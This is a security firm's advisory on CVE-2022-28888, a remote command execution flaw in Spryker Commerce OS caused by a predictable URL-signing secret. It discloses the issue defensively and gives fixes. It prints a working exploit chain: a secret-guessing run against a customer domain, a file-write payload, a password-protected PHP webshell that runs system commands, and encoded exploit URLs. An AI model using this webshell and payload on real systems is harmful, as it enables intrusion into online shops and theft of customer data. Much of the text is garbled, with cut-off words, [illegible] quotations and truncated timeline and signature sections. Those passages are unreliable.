BLOG & NEWS

JULY 12, 2022

#ADVISORIES

ADVISORY: REMOTE COMMAND EXECUTION IN SPRYKER COMMERCE OS (CVE-2022-28888)

Release of SCHUTZWERK-SA-2022-003

Security Advisory SA-2022-003

REMOTE COMMAND EXECUTION IN SPRYKER COMMERCE OS

SCHUTZWERK

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Title
=====

SCHUTZWERK-SA-2022-003: Remote Command Execution in Spryker Commerce OS

Status
======

PUBLISHED

Version
=======

1.0

CVE reference
=============

CVE-2022-28888

Link
====

https://www.schutzwerk.com/en/43/advisories/sc

Text
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2022-003.txt
```

========================

Spryker Commerce OS by Spryker Systems GmbH, with spryker/http module < 1.7.

Summary
=======

A predictable value is used to sign and verify special _fragment URLs in Spryker Commerce OS with spryker/http module < 1.7.0. Attackers that can gue this value are able to generate valid _fragment URLs which allow calling PHE methods, with certain restrictions. It could be demonstrated that this allow attackers to write arbitrary content to files on the file system, which, in turn, allows for execution of arbitrary PHP commands in many setups and therefore remote command execution.

Risk
====

The vulnerability allows attackers to execute arbitrary commands on an operating system-level on systems where the Spryker Commerce OS is installec In many cases, authentication is not necessary for successful exploitation. attackers have already determined that Spryker Commerce OS is utilized throu fingerprinting, checking for the presence of the vulnerability is trivial. W the ability to execute arbitrary commands, attacks can, for example, access customer data of the affected shop.

Description
===========

A webshop that was recently assessed for security vulnerabilities by SCHUTZW was found to contain a remote command execution vulnerability. The applicati in scope is based on a framework by Spryker -- Spryker Commerce OS. Spryker' framework, in turn, is based on Symfony[0] and/or Silex[1].

Symfony and Silex both support a special _fragment endpoint. This feature wa analyzed by Ambionics Security[2] in 2020. In their write up, the feature is described as follows:

> One of Symfony's built-in features, made [illegible]
> [illegible] ss[4]. Ess [illegible]
> [illegible]
> given CLI parameters. Since this allows to run arbitrary PHP code [...],

> [...] Given its importance, [the secret used for signing] must obviously b
> very random.

At least parts of the source code of the Spryker framework are open source a
publicly accessible via GitHub. During the assessment, while certain security-sensitive parts of the source code were reviewed, it was discoverec that the secret used to sign and verify _fragment URLs is static and predictable. The secret is set to md5(__DIR__) in the PHP file HttpFragmentServiceProvider.php[5] and in two different HttpConfig.php[6][7] files.

__DIR__ is a built-in "magic constant" in PHP[8] and it corresponds to "the directory of the file". It is not entirely clear, which of these PHP files i actually included and loaded by the Spryker framework. However, it is assume that the file http/src/Spryker/Shared/Http/HttpConfig.php is the culprit.

Guessing the secret

In order to gain a better understanding of the vulnerability, SCHUTZWERK set a local Spryker development instance with a demo shop[9] in order to allow f more in-depth debugging.

By inspecting the source code and adding appropriate debug statements, the secret was identified as e3ae11e53f7c3d72da08784b9af763f9. This corresponds the MD5 sum of the path /data/shop/development/current/vendor/spryker/http/src/Spryker/Shared/Http:

```
$ echo -n '/data/shop/development/current/vendor/spryker/http/src/Spryker/'\
'Shared/Http'| md5sum
e3ae11e53f7c3d72da08784b9af763f9  -
```

The proof-of-concept script find_secret.py[10] was developed in order to automate the process of identifying the secret based on a list of known Spry paths. The script was executed as follows against the local development instance and correctly identified the static secret:

This verification step does not require authentication in the default configuration. The script generates _fragment URLs based on a provided list paths and detects whether the server views these URLs as valid (correctly signed) or not. This distinction is made based on different observations (e. status code, response content, etc.).

The same script was then executed against the customer's instance:

```
$ python3 find_secret.py --path-list known_spryker_paths.txt \
[CUSTOMER_DOMAIN]/_fragment
[-] [CUSTOMER_DOMAIN]/_fragment e3ae11e53f7c3d72da08784b9af763f9
[-] [CUSTOMER_DOMAIN]/_fragment faf0d063ad6adf3776d59bc55a17aa5f
[-] [CUSTOMER_DOMAIN]/_fragment 8399015c0dbbf2162983fb7ad0ea6a9a
[-] [CUSTOMER_DOMAIN]/_fragment 8baff412797b1ddd80cd968e7446aa06
[...]
[-] [CUSTOMER_DOMAIN]/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[+] [CUSTOMER_DOMAIN]/_fragment 9c15f40d8e5610e89caf6f9b7a97be3b
    (/data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http)
```

In this case, the identified secret 9c15f40d8e5610e89caf6f9b7a97be3b corresponds to the path /data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http.

The installation path of the application can of course vary greatly between installations. However, if customers use the official Docker guide provided Spryker, it is likely that they will use the paths utilized in the examples thus share a common installation path.

Even if this is not the case, customers might share installation paths betwe multiple environments (development, production). A compromise of one installation would therefore make a compromise of the other installations likely.

Signing URLs
^^^^^^^^^^^^

With a valid secret and a URL, it is now possible to sign URLs. As shown in write up of Ambionics Security, it is generally possible to execute arbitrar commands using different methods (direct reference of a PHP class/method or deserialization of PHP objects). However, both approaches did not work, like due to code changes made by Spryker to Symfony/Silex.

Generally, the correct syntax for _fragment URLs is the following:

```
<protocol>://<domain>/_fragment?_path=_controller=<controller specification>
_hash=<valid URL signature>
```

Through further analysis, an alternative approach was discovered. Replacing value of the URL parameter _path in the listing above allows to specify PHP classes with certain limitations (decoded and reformatted for increased readability):

```
_controller[]=Path\To\Class&
_controller[]=nameOfMethod&
arg1=value
```

At least the following limitations apply:

* Class must have no initialize function or, alternatively, an initialize function without arguments
* Class must have an constructor without arguments

While examining the source code for possible candidates, the Symfony class Filesystem was discovered. This class meets the limitations and allows writi arbitrary content to a specified file path. The following payload was create (decoded and reformatted for increased readability):

```
_controller[]=Symfony\Component\Filesystem\Filesystem&
_controller[]=appendToFile&
filename=SCHUTZWERK.php&
content=TEST
```

The generated URL is

```
http://www.de.b2b-demo-shop.local/_fragment
```

```
vagrant@vm-b2b-demo-shop / $ cat /tmp/schutzwerk.php
TEST
```

With this primitive in place, it is possible to execute arbitrary PHP code a subsequently commands on an operating system level. To demonstrate this, the following PHP code for a minimal webshell was appended to the file /data/shop/development/current/public/Yves/maintenance/maintenance.php in th development instance:

```
if(isset($_GET['pass'])){
  if($_GET['pass']=="yunn@swervIfUf3"){
    if(isset($_REQUEST['cmd'])){
      echo "<pre>";
      $cmd=($_REQUEST['cmd']);
      system($cmd);
      echo "</pre>";
      die;
    }
  }
}
```

The generated URL is as follows:

```
http://www.de.b2b-demo-shop.local/_fragment?_path=_controller%255B%255D%3DSy
Component%255CFilesystem%255CFilesystem%26_controller%255B%255D%3DappendToFi
filename%3D%252Fdata%252Fshop%252Fdevelopment%252Fcurrent%252Fpublic%252FYve
maintenance%252Fmaintenance.php%26content%3Dif%2528isset%2528%2524_GET%255B%
%2527%255D%2529%2529%257B%250A%2B%2Bif%2528%2524_GET%255B%2527pass%2527%255D
3D%2522yunn@swervIfUf3%2522%2529%257B%250A%2B%2B%2B%2Bif%2528isset%2528%2524
_REQUEST%255B%2527cmd%2527%255D%2529%2529%257B%250A%2B%2B%2B%2B%2B%2Becho%2E
%253E%2522%253B%250A%2B%2B%2B%2B%2B%2B%2524cmd%253D%2528%2524_REQUEST%255B%2
%255D%2529%253B%250A%2B%2B%2B%2B%2B%2Bsystem%2528%2524cmd%2529%253B%250A%2B%
%2Becho%2B%2522%253C%252Fpre%253E%2522%253B%250A%2B%2B%2B%2B%2B%2Bdie%253B%2
%2B%257D%250A%2B%2B%257D%250A%257D&_hash=XAnTzw2Y6hhbyIwO7KQ9qdTHrFMQ%2BUKWr
```

Afterwards, the file

```
<?php
[..
}
if(isset($_GET['pass'])){
if($_GET['pass']=="yunn@swervIfUf3"){
  if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd=($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
  }
}
}
```

Since the PHP file maintenance.php is consulted for every request, the injec
PHP webshell code can be executed using URLs similar to the following:

```
http://www.de.b2b-demo-shop.local/?pass=yunn@swervIfUf3&cmd=id
```

Solution/Mitigation
====================

1. Update spryker/http module to version 1.7.0
2. Configure SPRYKER_ZED_REQUEST_TOKEN environment variable with a long, ran
and secure string

Disclosure timeline
====================

2022-04-07: Vulnerability discovered
2022-04-07: Initial contact with vendor
2022-04-08: Vulnerability reported to vendor
2022-04-08: CVE-2022-28888 assigned by MITRE
2022-04-11: Vendor notifies customers about vulnerability, releases patch
2022-04-26: Requested update from vendor
2022-05-05: Requested update from vendor
2022-06-20: Notified vendor of intention to publish advisory on 20220-06-30
2022-06-22: Vendor co
2022-07-12: Advi lished b

Con

References

[0] https://symfony.com
[1] https://github.com/silexphp/Silex
[2] https://www.ambionics.io/blog/symfony-secret-fragment
[3] https://en.wikipedia.org/wiki/Edge_Side_Includes
[4] https://github.com/symfony/symfony/blob/ac236517cc8925110d2ec9c35cfdb682
[5] https://github.com/spryker/silexphp/blob/94d2afc9b1ed9662193985cad1ba47c
[6] https://github.com/spryker/http/blob/56313eaff6594821849846d1b93e0b7eba9
[7] https://github.com/spryker/spryker-core/blob/88ab823143b5521b4e1bb1b9303
[8] https://www.php.net/manual/en/language.constants.magic.php
[9] https://docs.spryker.com/docs/scos/dev/setup/installing-spryker-with-dev
[10] https://www.schutzwerk.com/en/43/assets/advisories/find_secret.py

Disclaimer

The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updat in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website (https://www.schutzwerk.com).

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmLNeGIACgkQGrXfkTIX
LruPcxAAomwgmFtoqT+gQIPpt7VaCJd8/KeWIH+n9Q4iLfrEk8OJ2O4/HFxWLFUm
/201fCXbhSSAlzJxbwLAPC4gMYIzO5h4+5YS9Yb3ZreweuBp49WAGnrjjnbEGmQx
auH546XxyUoluh5EEu4x+JZw6ZVdIS6RctrtJpUfjNlqFrEbe7a94G7Q03vFD0QB
u7ek5R1S62J80KYfiIFfl+SmQ7dsFn8pTZzczW5oodEZCpLkvySgBTtVVsgM4ufI
BSFB5AF5C3/hhLIbVPE9UPGDKWlRueismFTiGjrZNQGwX3oqysJmqCRha/0j/pn5
bLoFmcwYpC0L72QO6RVany5jIeSUoN3ajhq4RDRw59BAOW50a/BHtsnuUxQkh1uy
nd0OmuhqJA5pV26qupR6i3J7Mq/5KTJhiptfwTql2FxkLPtAly7fJX+3P8CmSiLa
6gWmkaU/s8KtY49mMa1wVhWchT7wicIGVf17u9RbkUnaf4DyBQlNOSiNRVI6v+OZ
tQ9wQkau9OrYAYNY/zHdtAJoRJ5i2FyyFlID+snBVeoU7NnC5miKgD+rOBBY8DJM
VySotql/FKCavxFb7AsDx
Gt5gyU8Gdy118ggy
=Dbxz
-----END PGP SIGNATURE-----

Services Company Career
Blog & News About us Team Partner Certifications
Advisory: Remote Command Execution in Spryker Commerce OS (CVE-2022-28888)

SHARE ARTICLE AND INFORMATIONS

Share Share Tweet

SCHUTZWERK GmbH

Pfarrer-Weiß-Weg 12
89077 Ulm

Poststr. 33
20354 Hamburg

Mail: info@schutzwerk.com
Fon: +49 731 977 191 0

Follow us on

Services

- Assessment
- Consulting
- Process
- Funding
- References

Company

- Blog & News
- About us
- Team
- Partner
- Certifications

Career

- Vacancies
- Why apply?

Contact

- Point of contact
- Directions & Parking
- Imprint
- Data Protection